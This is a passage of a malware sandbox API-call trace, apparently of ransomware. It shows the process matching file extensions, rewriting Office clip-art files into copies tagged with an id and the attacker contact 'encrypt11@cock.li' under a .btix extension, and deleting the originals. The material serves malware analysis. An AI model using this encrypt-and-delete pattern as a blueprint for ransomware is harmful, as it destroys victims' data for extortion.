lpNewFilePointer=0x0) returned 1 [0140.619] SetEndOfFile (hFile=0x550) returned 1 [0140.622] CloseHandle (hObject=0x550) returned 1 [0140.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0140.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0140.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0140.623] lstrlenW (lpString=".doc") returned 4 [0140.623] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.623] lstrlenW (lpString=".docx") returned 5 [0140.623] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0140.623] lstrlenW (lpString=".pdf") returned 4 [0140.623] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.623] lstrlenW (lpString=".xls") returned 4 [0140.623] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.623] lstrlenW (lpString=".xlsx") returned 5 [0140.623] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0140.623] lstrlenW (lpString=".ppt") returned 4 [0140.623] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0140.623] lstrlenW (lpString=".zip") returned 4 [0140.623] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.623] lstrlenW (lpString=".rar") returned 4 [0140.623] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.624] lstrlenW (lpString=".bz2") returned 4 [0140.624] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.624] lstrlenW (lpString=".7z") returned 3 [0140.624] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0140.624] lstrlenW (lpString=".dbf") returned 4 [0140.624] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0140.624] lstrlenW (lpString=".1cd") returned 4 [0140.624] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0140.624] lstrlenW (lpString=".jpg") returned 4 [0140.624] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0140.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0140.624] lstrlenW (lpString=".doc") returned 4 [0140.624] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.624] lstrlenW (lpString=".docx") returned 5 [0140.624] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0140.624] lstrlenW (lpString=".pdf") returned 4 [0140.624] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.624] lstrlenW (lpString=".xls") returned 4 [0140.624] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.624] lstrlenW (lpString=".xlsx") returned 5 [0140.624] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0140.624] lstrlenW (lpString=".ppt") returned 4 [0140.624] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0140.625] lstrlenW (lpString=".zip") returned 4 [0140.625] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.625] lstrlenW (lpString=".rar") returned 4 [0140.625] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.625] lstrlenW (lpString=".bz2") returned 4 [0140.625] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.625] lstrlenW (lpString=".7z") returned 3 [0140.625] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0140.625] lstrlenW (lpString=".dbf") returned 4 [0140.625] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0140.625] lstrlenW (lpString=".1cd") returned 4 [0140.625] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0140.625] lstrlenW (lpString=".jpg") returned 4 [0140.625] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.625] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0140.625] lstrlenW (lpString="J0101866.BMP") returned 12 [0140.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0140.626] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=32184) returned 1 [0140.626] CloseHandle (hObject=0x550) returned 1 [0140.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220 [0140.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0140.627] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.627] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0140.627] GetLastError () returned 0x0 [0140.627] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0140.630] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0140.631] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0140.632] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0140.632] SetEndOfFile (hFile=0x4c4) returned 1 [0140.632] CloseHandle (hObject=0x4c4) returned 1 [0140.632] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.632] SetEndOfFile (hFile=0x550) returned 1 [0140.635] CloseHandle (hObject=0x550) returned 1 [0140.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0140.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0140.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0140.636] lstrlenW (lpString=".doc") returned 4 [0140.636] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.636] lstrlenW (lpString=".docx") returned 5 [0140.637] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0140.637] lstrlenW (lpString=".pdf") returned 4 [0140.637] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.637] lstrlenW (lpString=".xls") returned 4 [0140.637] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.637] lstrlenW (lpString=".xlsx") returned 5 [0140.637] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0140.637] lstrlenW (lpString=".ppt") returned 4 [0140.637] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0140.637] lstrlenW (lpString=".zip") returned 4 [0140.637] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.637] lstrlenW (lpString=".rar") returned 4 [0140.637] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.637] lstrlenW (lpString=".bz2") returned 4 [0140.637] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.637] lstrlenW (lpString=".7z") returned 3 [0140.637] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0140.637] lstrlenW (lpString=".dbf") returned 4 [0140.637] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0140.637] lstrlenW (lpString=".1cd") returned 4 [0140.637] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0140.637] lstrlenW (lpString=".jpg") returned 4 [0140.637] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0140.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0140.637] lstrlenW (lpString=".doc") returned 4 [0140.637] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.637] lstrlenW (lpString=".docx") returned 5 [0140.638] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0140.638] lstrlenW (lpString=".pdf") returned 4 [0140.638] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.638] lstrlenW (lpString=".xls") returned 4 [0140.638] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.638] lstrlenW (lpString=".xlsx") returned 5 [0140.638] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0140.638] lstrlenW (lpString=".ppt") returned 4 [0140.638] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0140.638] lstrlenW (lpString=".zip") returned 4 [0140.638] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.638] lstrlenW (lpString=".rar") returned 4 [0140.638] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.638] lstrlenW (lpString=".bz2") returned 4 [0140.638] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.638] lstrlenW (lpString=".7z") returned 3 [0140.638] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0140.638] lstrlenW (lpString=".dbf") returned 4 [0140.638] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0140.638] lstrlenW (lpString=".1cd") returned 4 [0140.638] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0140.638] lstrlenW (lpString=".jpg") returned 4 [0140.638] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.638] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0140.639] lstrlenW (lpString="J0101867.BMP") returned 12 [0140.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0140.639] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=32616) returned 1 [0140.639] CloseHandle (hObject=0x550) returned 1 [0140.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220 [0140.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0140.640] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.640] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0140.640] GetLastError () returned 0x0 [0140.640] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x7f68, lpOverlapped=0x0) returned 1 [0140.643] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x7f70, lpOverlapped=0x0) returned 1 [0140.644] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0140.644] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0140.645] SetEndOfFile (hFile=0x4c4) returned 1 [0140.645] CloseHandle (hObject=0x4c4) returned 1 [0140.645] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.645] SetEndOfFile (hFile=0x550) returned 1 [0140.648] CloseHandle (hObject=0x550) returned 1 [0140.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0141.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0141.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0141.039] lstrlenW (lpString=".doc") returned 4 [0141.039] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0141.039] lstrlenW (lpString=".docx") returned 5 [0141.039] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0141.039] lstrlenW (lpString=".pdf") returned 4 [0141.039] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0141.039] lstrlenW (lpString=".xls") returned 4 [0141.039] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0141.039] lstrlenW (lpString=".xlsx") returned 5 [0141.039] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0141.039] lstrlenW (lpString=".ppt") returned 4 [0141.039] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0141.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0141.040] lstrlenW (lpString=".zip") returned 4 [0141.040] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0141.040] lstrlenW (lpString=".rar") returned 4 [0141.040] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0141.040] lstrlenW (lpString=".bz2") returned 4 [0141.040] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0141.040] lstrlenW (lpString=".7z") returned 3 [0141.040] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0141.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0141.040] lstrlenW (lpString=".dbf") returned 4 [0141.040] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0141.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0141.040] lstrlenW (lpString=".1cd") returned 4 [0141.040] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0141.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0141.040] lstrlenW (lpString=".jpg") returned 4 [0141.040] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0141.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0141.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0141.040] lstrlenW (lpString=".doc") returned 4 [0141.040] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0141.040] lstrlenW (lpString=".docx") returned 5 [0141.040] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0141.040] lstrlenW (lpString=".pdf") returned 4 [0141.040] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0141.040] lstrlenW (lpString=".xls") returned 4 [0141.040] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0141.040] lstrlenW (lpString=".xlsx") returned 5 [0141.040] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0141.040] lstrlenW (lpString=".ppt") returned 4 [0141.040] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0141.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0141.041] lstrlenW (lpString=".zip") returned 4 [0141.041] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0141.041] lstrlenW (lpString=".rar") returned 4 [0141.041] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0141.041] lstrlenW (lpString=".bz2") returned 4 [0141.041] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0141.041] lstrlenW (lpString=".7z") returned 3 [0141.041] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0141.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0141.041] lstrlenW (lpString=".dbf") returned 4 [0141.041] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0141.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0141.041] lstrlenW (lpString=".1cd") returned 4 [0141.041] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0141.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0141.041] lstrlenW (lpString=".jpg") returned 4 [0141.041] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0141.041] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0141.041] lstrlenW (lpString="J0102762.WMF") returned 12 [0141.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0141.610] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=11216) returned 1 [0141.611] CloseHandle (hObject=0x54c) returned 1 [0141.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220 [0141.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0141.824] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.827] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.852] GetLastError () returned 0x0 [0141.852] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x2bd0, lpOverlapped=0x0) returned 1 [0141.854] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2be0, lpOverlapped=0x0) returned 1 [0141.855] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0141.856] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0141.856] SetEndOfFile (hFile=0x38c) returned 1 [0141.856] CloseHandle (hObject=0x38c) returned 1 [0141.856] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.856] SetEndOfFile (hFile=0x3b0) returned 1 [0141.858] CloseHandle (hObject=0x3b0) returned 1 [0141.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft 